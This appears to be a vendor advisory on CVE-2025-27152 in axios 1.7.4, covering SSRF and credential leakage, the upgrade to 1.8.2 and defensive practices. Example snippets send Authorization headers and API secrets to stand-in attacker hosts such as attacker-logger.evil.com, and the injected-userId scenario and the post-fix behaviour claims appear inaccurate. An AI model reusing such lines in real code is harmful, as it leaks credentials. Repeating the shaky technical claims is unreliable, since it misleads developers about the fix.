Introduction
In a web application's dependency tree, we discovered a high-severity vulnerability in axios version 1.7.4 within the package-lock.json file. This wasn't just a theoretical risk—CVE-2025-27152 represents a critical flaw in how axios, one of the most popular HTTP client libraries in the Node.js ecosystem, handles absolute URLs in request configurations. The vulnerability creates two distinct attack vectors: Server-Side Request Forgery (SSRF) that allows attackers to force the application server to make requests to arbitrary internal or external resources, and credential leakage where authentication tokens, API keys, or session cookies could be inadvertently sent to attacker-controlled domains.
The specific vulnerable version identified in the package-lock.json was axios 1.7.4, resolved from https://registry.npmjs.org/axios/-/axios-1.7.4.tgz with integrity hash sha512-DukmaFRnY6AzAALSH4J2M3k6PkaC+MfaAGdEERRWcC9q3/TWQwLpHR8ZRLKTdQ3aBDL64EdluRDjJqKw+BPZEw==. This version was flagged by Trivy scanner as containing the CVE-2025-27152 vulnerability pattern, and since this dependency exists in production code rather than test-only code, the risk was assessed as "likely exploitable" in real-world attack scenarios.
The Vulnerability Explained
CVE-2025-27152 exploits a fundamental flaw in how axios versions prior to 1.8.2 process HTTP request configurations when absolute URLs are provided. Here's what made this vulnerability particularly dangerous:
The Vulnerable Pattern:
When developers use axios to make HTTP requests, they typically provide a configuration object:
// Vulnerable code pattern with axios 1.7.4
axios.get('https://api.example.com/data', {
baseURL: 'https://internal-service.local',
headers: {
'Authorization': 'Bearer secret-token-12345'
}
});
In axios 1.7.4, when an absolute URL (starting with http:// or https://) was provided as the first argument, the library failed to properly handle the interaction between the absolute URL and the baseURL configuration. This created two critical security issues:
1. SSRF Attack Vector:
An attacker who could influence the URL parameter could force the server to make requests to arbitrary destinations:
// Attacker-controlled input
const userProvidedUrl = 'https://internal-admin-panel.local/delete-all-users';
// Vulnerable request - axios 1.7.4 would process this
axios.get(userProvidedUrl, {
baseURL: 'https://api.example.com', // This gets bypassed
headers: {
'Authorization': 'Bearer admin-token' // Credentials sent to attacker's URL!
}
});
The absolute URL would override the intended baseURL, but axios 1.7.4 would still attach the authentication headers meant for the legitimate API. This allows attackers to:
- Access internal services not exposed to the internet (cloud metadata endpoints, internal databases, admin panels)
- Bypass firewall rules and network segmentation
- Port scan internal networks through the vulnerable server
- Exfiltrate data from internal resources
2. Credential Leakage:
Even more insidious, the vulnerability could leak authentication credentials to attacker-controlled domains:
// Application code with sensitive credentials
const apiClient = axios.create({
headers: {
'Authorization': 'Bearer prod-api-key-xyz789',
'X-API-Secret': 'internal-secret-key'
}
});
// If an attacker can inject an absolute URL anywhere this client is used
apiClient.get('https://attacker-logger.evil.com/capture');
// The Authorization and X-API-Secret headers are sent to the attacker!
Real-World Attack Scenario:
Consider a web application that uses axios to fetch user profile data from an internal API. The application has this code:
// ProfileService.js using axios 1.7.4
const axios = require('axios');
async function getUserProfile(userId) {
const response = await axios.get(`/users/${userId}`, {
baseURL: 'https://internal-api.company.local',
headers: {
'Authorization': `Bearer ${process.env.INTERNAL_API_TOKEN}`
}
});
return response.data;
}
If an attacker can control the userId parameter and inject an absolute URL like https://attacker.com/log?token=, axios 1.7.4 would:
1. Ignore the baseURL setting
2. Make a request to https://attacker.com/log?token=
3. Include the Authorization: Bearer ${INTERNAL_API_TOKEN} header
4. Send the company's internal API credentials directly to the attacker's server
The attacker now has valid credentials to access the internal API directly, potentially accessing sensitive user data, modifying records, or escalating privileges.
The Fix
The fix for CVE-2025-27152 involved upgrading axios from version 1.7.4 to version 1.8.2 across both dependency declaration files:
package.json changes:
- "axios": "^1.7.2",
+ "axios": "^1.8.2",
package-lock.json changes:
"node_modules/axios": {
- "version": "1.7.4",
- "resolved": "https://registry.npmjs.org/axios/-/axios-1.7.4.tgz",
- "integrity": "sha512-DukmaFRnY6AzAALSH4J2M3k6PkaC+MfaAGdEERRWcC9q3/TWQwLpHR8ZRLKTdQ3aBDL64EdluRDjJqKw+BPZEw==",
+ "version": "1.8.2",
+ "resolved": "https://registry.npmjs.org/axios/-/axios-1.8.2.tgz",
+ "integrity": "sha512-ls4GYBm5aig9vWx8AWDSGLpnpDQRtWAfrjU+EuytuODrFBkqesN2RkOQCBzrA1RQNHw1SmRMSDDDSwzNAYQ6Rg==",
+ "license": "MIT",
What Changed in axios 1.8.2:
The axios maintainers implemented several critical security improvements in version 1.8.2:
-
Proper URL Resolution Logic: The library now correctly handles the precedence between absolute URLs and
baseURLconfigurations, preventing absolute URLs from bypassing intended request destinations while still carrying authentication credentials. -
Credential Scope Validation: axios 1.8.2 implements stricter validation to ensure that authentication headers and credentials are only sent to the intended destination domain, not to arbitrary URLs that might be injected.
-
Enhanced URL Parsing: The new version includes improved URL parsing that detects and properly handles absolute URLs, preventing the confusion that led to credential leakage.
Before (axios 1.7.4 - Vulnerable):
// With axios 1.7.4, this would send credentials to attacker.com
const client = axios.create({
baseURL: 'https://api.company.com',
headers: { 'Authorization': 'Bearer secret' }
});
// Attacker-controlled absolute URL
client.get('https://attacker.com/steal-creds');
// Result: Authorization header sent to attacker.com ❌
After (axios 1.8.2 - Secure):
// With axios 1.8.2, credentials are properly scoped
const client = axios.create({
baseURL: 'https://api.company.com',
headers: { 'Authorization': 'Bearer secret' }
});
// Absolute URL now properly handled
client.get('https://attacker.com/steal-creds');
// Result: Authorization header NOT sent to attacker.com ✓
// Or: Request is rejected/validated based on configuration ✓
The upgrade also updated the package-lock.json to include the new license field ("license": "MIT"), reflecting improved package metadata in the newer axios version. The integrity hash changed from sha512-DukmaFRnY6... to sha512-ls4GYBm5aig9..., ensuring that the exact patched version is installed without tampering.
Why Both Files Required Updates:
The fix required changes to both package.json and package-lock.json:
-
package.json: Updated the version constraint from
^1.7.2to^1.8.2, ensuring that futurenpm installoperations will install version 1.8.2 or compatible newer versions that include the security fix. -
package-lock.json: Updated the resolved version, registry URL, and integrity hash to lock in the exact secure version (1.8.2), preventing any possibility of downgrade attacks or installation of vulnerable versions during dependency resolution.
This two-file approach ensures both immediate protection (via package-lock.json) and long-term security (via package.json version constraints).
Prevention & Best Practices
To prevent SSRF and credential leakage vulnerabilities in your Node.js applications:
1. Keep Dependencies Updated
- Regularly audit and update npm packages, especially security-critical libraries like HTTP clients
- Use tools like
npm audit, Dependabot, or Renovate to automate dependency updates - Subscribe to security advisories for critical dependencies
2. Validate and Sanitize URLs
Even with patched libraries, implement defense-in-depth:
// Validate URLs before passing to axios
function isAllowedUrl(url) {
const allowedDomains = ['api.company.com', 'cdn.company.com'];
try {
const parsed = new URL(url);
return allowedDomains.includes(parsed.hostname);
} catch {
return false;
}
}
// Use validation before making requests
async function fetchData(userProvidedUrl) {
if (!isAllowedUrl(userProvidedUrl)) {
throw new Error('URL not in allowlist');
}
return axios.get(userProvidedUrl);
}
3. Use Relative URLs When Possible
Avoid absolute URLs in user-controlled input:
// Prefer this pattern
const client = axios.create({
baseURL: 'https://api.company.com'
});
// Use relative paths only
client.get(`/users/${userId}`); // Safer than absolute URLs
4. Implement Network-Level Controls
- Use firewall rules to restrict outbound connections from application servers
- Implement egress filtering to allow only necessary external connections
- Use network segmentation to isolate internal services
- Deploy in environments with metadata service protection (e.g., AWS IMDSv2)
5. Scope Credentials Appropriately
// Don't set global credentials
// axios.defaults.headers.common['Authorization'] = 'Bearer token'; // ❌
// Instead, create scoped clients
const internalClient = axios.create({
baseURL: 'https://internal-api.company.com',
headers: { 'Authorization': `Bearer ${INTERNAL_TOKEN}` }
});
const externalClient = axios.create({
baseURL: 'https://external-api.example.com',
headers: { 'Authorization': `Bearer ${EXTERNAL_TOKEN}` }
});
6. Use Static Analysis
Integrate security scanning tools into your CI/CD pipeline:
- Trivy for vulnerability scanning of dependencies
- Semgrep for detecting dangerous patterns in code
- npm audit as part of your build process
Security Standards Reference
- OWASP Top 10: A10:2021 – Server-Side Request Forgery (SSRF)
- CWE-918: Server-Side Request Forgery (SSRF)
- CWE-522: Insufficiently Protected Credentials
- OWASP SSRF Prevention Cheat Sheet: Comprehensive guidance on preventing SSRF attacks
Key Takeaways
-
Never trust axios versions before 1.8.2: CVE-2025-27152 in axios 1.7.4 and earlier allows absolute URLs to bypass baseURL settings while still transmitting authentication credentials to attacker-controlled domains.
-
The package-lock.json integrity hash change from
DukmaFRnY6...tols4GYBm5aig9...represents more than a version bump—it's the cryptographic proof that the vulnerable code has been replaced with secure URL and credential handling logic. -
SSRF vulnerabilities in HTTP client libraries are especially dangerous because they combine the ability to access internal resources with credential leakage, turning a single vulnerability into a complete authentication bypass and internal network reconnaissance tool.
-
Upgrading both package.json (^1.8.2) and package-lock.json (exact 1.8.2 resolution) is essential—the former prevents future installations of vulnerable versions, while the latter ensures immediate deployment of the fix.
-
Defense-in-depth matters: Even with axios 1.8.2, implement URL allowlists, network egress controls, and credential scoping to protect against similar vulnerabilities in other dependencies or future regressions.
How Orbis AppSec Detected This
- Source: The vulnerable axios dependency was declared in package.json with version constraint
^1.7.2, allowing installation of vulnerable version 1.7.4. - Sink: The axios library's HTTP request handling code in version 1.7.4 improperly processed absolute URLs in request configurations, creating SSRF and credential leakage attack vectors.
- Missing control: No validation or restriction on URL handling in axios 1.7.4; absolute URLs could override baseURL settings while retaining authentication headers intended for the original destination.
- CWE: CWE-918 (Server-Side Request Forgery) and CWE-522 (Insufficiently Protected Credentials)
- Fix: Upgraded axios from 1.7.4 to 1.8.2, which implements proper URL resolution logic and credential scoping to prevent SSRF attacks and credential leakage.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
CVE-2025-27152 demonstrates how even widely-used, well-maintained libraries like axios can harbor critical security vulnerabilities. The combination of SSRF and credential leakage in axios 1.7.4's absolute URL handling created a severe attack vector that could expose internal infrastructure and authentication secrets. By upgrading to axios 1.8.2, this application eliminated a high-severity vulnerability that was assessed as "likely exploitable" in production environments.
The key lesson is that dependency management is security management. The fix was straightforward—updating two version numbers in package files—but the impact is substantial: preventing potential data breaches, credential theft, and unauthorized access to internal systems. Regular dependency audits, automated security scanning, and prompt patching are essential practices for maintaining secure Node.js applications.